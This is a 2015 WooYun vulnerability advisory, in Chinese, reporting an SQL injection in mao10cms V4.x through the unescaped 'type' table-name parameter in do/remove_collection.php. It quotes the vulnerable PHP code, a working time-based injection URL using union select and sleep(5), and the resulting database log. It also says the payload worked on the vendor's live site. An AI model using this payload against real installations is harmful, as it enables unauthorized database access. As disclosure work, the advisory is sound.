当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0145746

漏洞标题:mao10cms系统注入漏洞

相关厂商:mao10.com

漏洞作者: pang0lin

提交时间:2015-10-12 12:51

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-12: 细节已通知厂商并且等待厂商处理中
2015-10-12: 厂商已经确认,细节仅向厂商公开
2015-10-15: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-06: 细节向核心白帽子及相关领域专家公开
2015-12-16: 细节向普通白帽子公开
2015-12-26: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

mao10cms系统注入漏洞(mysqli也救不了你)V4.x那个版本啊

详细说明:

1.mao10cms V4.0以后就是采用的mysqli驱动,而不再使用原来的thinkphp框架,这在一定程度上增加了系统的安全性,但是请不要迷信mysqli,mysqli不是万能的,参数绑定也不是万能的。首先定位到漏洞函数。do/remove_collection.php

<?php  
require 'functions.php';
if($_GET['id']>0 && $_GET['type']) :
$id = $_GET['id'];
$type = $_GET['type'];
if(mc_user_id()>0) :
$user_id = mc_user_id();
$db->where($type.'_id',$id);//这里有参数传入
$db->where('user_id',$user_id);
$mcdb = $db->getOne('user_collection_'.$type);//这里也有参数传入
if($mcdb['id']) :
if($db->delete('user_collection_'.$type)) :
$db->where('id',$id);
$mcitem_now = $db->getOne($type);
$mcitem['collection'] = $mcitem_now['collection']-1;
$db->where('id',$id);
$db->update($type, $mcitem);
endif;
endif;
endif;
endif;
?>


2.从上面的的代码可以看出$_GET[‘type’]直接传入了getOne函数的第一个参数。在mysqli中,可以对传入参数中的值进行自动转义,但是由于这里可控的是第一个参数,也就是表名,而mysqli是不会对表名进行转义的,这也就造成了注入漏洞,由于mysqli的所有数据库操作都分成了prepare和execute两个阶段,所以必须是完整正确的SQL语句才能过prepare阶段的检测,最后被执行。这里我们直接给出构造的payload

http://localhost/mao10cms/do/remove_collection.php?id=1&type=topic union select 1,2,sleep(5) -- a


1.png


3.看一下数据库日志

151010 12:55:55	  392 Connect	root@localhost on 
392 Query SET CHARACTER SET 'utf8'
392 Query SET collation_connection = 'utf8_general_ci'
392 Query SHOW PLUGINS
392 Init DB mao10cms
392 Init DB mao10cms
392 Query SELECT * FROM mc_user_collection_topic union select 1,2,sleep(5) -- a WHERE topic where 1=sleep(5) limit 1 -- a_id = ? AND user_id = ? LIMIT 1
LIMIT 0, 30


4.去官网看一下效果,和本地一样

2.png


漏洞证明:

2.png

修复方案:

过滤

版权声明:转载请注明来源 pang0lin@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-10-12 13:50

厂商回复:

感谢指正

最新状态:

暂无


漏洞评价:

评价